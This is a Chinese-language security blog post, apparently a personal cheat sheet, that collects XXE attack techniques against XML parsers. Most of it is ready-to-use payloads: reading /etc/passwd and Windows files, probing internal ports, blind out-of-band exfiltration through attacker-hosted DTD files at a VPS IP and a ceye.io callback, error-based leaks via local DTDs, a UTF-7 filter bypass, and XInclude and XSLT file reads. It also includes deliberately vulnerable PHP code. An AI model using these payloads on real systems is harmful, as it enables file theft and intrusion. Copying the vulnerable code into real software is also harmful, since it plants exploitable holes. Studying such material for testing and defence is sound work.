April 29th 2020, 2:28:00 pm
最近遇到一些没有见过的xxe利用方式,就和之前的内容一起整理了一下。
常见利用
有回显
1 2 3 4 5 6
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root><name>&xxe;</name></root>
|
在window中读取文件不需要使用file协议,用文件相对路径或者绝对路径即可。
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "<http://127.0.0.1:80>" >]> <root><name>&xxe;</name></root>
|
这个用Brup去扫其实不太合适,建议使用python字写脚本。因为有些端口未开启,访问时没有回显,会一直处于请求状态。
无回显
vps上的eval.dtd
1 2 3 4 5
| <!ENTITY % all "<!ENTITY % send SYSTEM '<http://aaaaaaa/?%file;>'>" > %all;
|
发送payload
1 2 3 4 5 6
| <!DOCTYPE foo [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % xxe SYSTEM "<http://45.32.75.237:1234/error.dtd>" > %xxe; %send; ]>
|
vps上的eval.dtd
1 2 3 4 5
| <!ENTITY % all "<!ENTITY % send SYSTEM '<http://ceye/?%file;>'>" > %all;
|
发送payload
1 2 3 4 5 6 7
| <!DOCTYPE foo [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % xxe SYSTEM "<http://45.32.75.237:1234/eval.dtd>" > %xxe; %send; ]>
|
这两种方式的区别仅在于远程主机上的dtd文件中指定的网站host是否存在,如果不存在就报错,存在就外带。
为什么一定要使用外部dtd文件,而不是直接在一个payload里面就包含外带的实体呢?原因是外部DTD允许我们在第二个实体中包含一个实体,但是在内部DTD中是被禁止的。(也就是禁止在内部Entity中引用参数实体)
进阶利用
基于Local-dtd文件的XXE
当服务器不允许请求外网,并且存在报错时可以使用这种方式。返回的结果跟报错型是一样的。
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "C:/Windows/System32/wbem/xml/cim20.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/temp/flag.txt"> <!ENTITY % SuperClass '> <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>"> %eval; %send; <!ENTITY test "test"'> %local_dtd; ]> <message>111</message>
|
用dtd-finder提取ubuntu里面的实体然后生成出的payload,在我的阿里云ubuntu的vps上也有这个dtd,应该是一个较为通用的dtd文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/schema/xml-core/catalog.dtd">
<!ENTITY % local.uri.attribs '> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa "bb"'>
%local_dtd; ]> <message></message>
|
我只在我的腾讯云Centos的vps上发现了这个dtd文件。没有对应环境、暂且尝试这个吧,
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> <!ENTITY % expr 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message></message>
|
寻找本地可利用的dtd文件:
1 2 3
| 工具使用: docker export <image> -o iamge.tar java -jar dtd-finder-1.0-all.jar iamge.tar
|
对payload进行UTF7编码
用使用这种方式可以绕过一些过滤
utf-8 ⇒ utf-7 :https://www.motobit.com/util/charset-codepage-conversion.asp
1 2 3 4 5
| <?xml version="1.0" encoding="utf-7"?> +ADwAIQ-DOCTYPE foo +AFs- +ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4- +AF0APg- +ADw-root+AD4APA-name+AD4AJg-xxe+ADsAPA-/name+AD4APA-/root+AD4-
|
xinclude
在不允许包含外部实体,但又存在$dom->include();时,就可以利用xinclude读取文件。
后台源码:
1 2 3 4 5 6 7 8 9
| <?php $xml = file_get_contents('php://input'); $dom = new DOMDocument; $dom->preserveWhiteSpace = false; $dom->formatOutput = true; $dom->loadXML($xml); $dom->include(); echo $dom->saveXML(); ?>
|
利用的payload如下:
1 2 3 4 5
| <?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
|
XSLT
XSLT:规定一个XML如何转换为其他文档。
PHP默认没有这个扩展,需要手动安装。(phpstudy中直接开启php_xsl扩展即可)
后台源码:
1 2 3 4 5 6 7 8 9 10
| <?php $xls = file_get_contents('php://input'); $xslDoc = new DOMDocument(); $xslDoc->load($xls); $xmlDoc = new DOMDocument(); $xmlDoc->load("test.xml"); $proc = new XSLTProcessor(); $proc->importStylesheet($xslDoc); echo $proc->transformToXML($xmlDoc); ?>
|
普通文件读取.xsl:(直接修改了root结点的内容)
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY shit SYSTEM "php://filter/read=convert.base64-encode/resource=C:/temp/flag.txt"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/root"> &shit; </xsl:template> </xsl:stylesheet>
|
如果未开启外部实体可以使用报错或者OOB方式读取文件,但是我在本机搭建的环境当中,无法外带出信息,只能通过报错读取出部分,就不深究了。
报错:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:include href="php://filter/read=convert.base64-encode/resource=C:/temp/flag.txt"/> </xsl:stylesheet>
|
OOB:(也会通过报错查看到)
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:variable name="name1" select="document('php://filter/read=convert.base64-encode/resource=C:/temp/flag.txt')" /> <xsl:variable name="name2" select="concat('http://kih9lq.ceye.io/?', $name1)" /> <xsl:variable name="name3" select="document($name2)" /> </xsl:stylesheet>
|
参考这一篇:https://www.anquanke.com/post/id/156227
CTF例子:https://skysec.top/2018/03/23/从sql注入到xslt再到xxe的一道ctf题目/#思考攻击点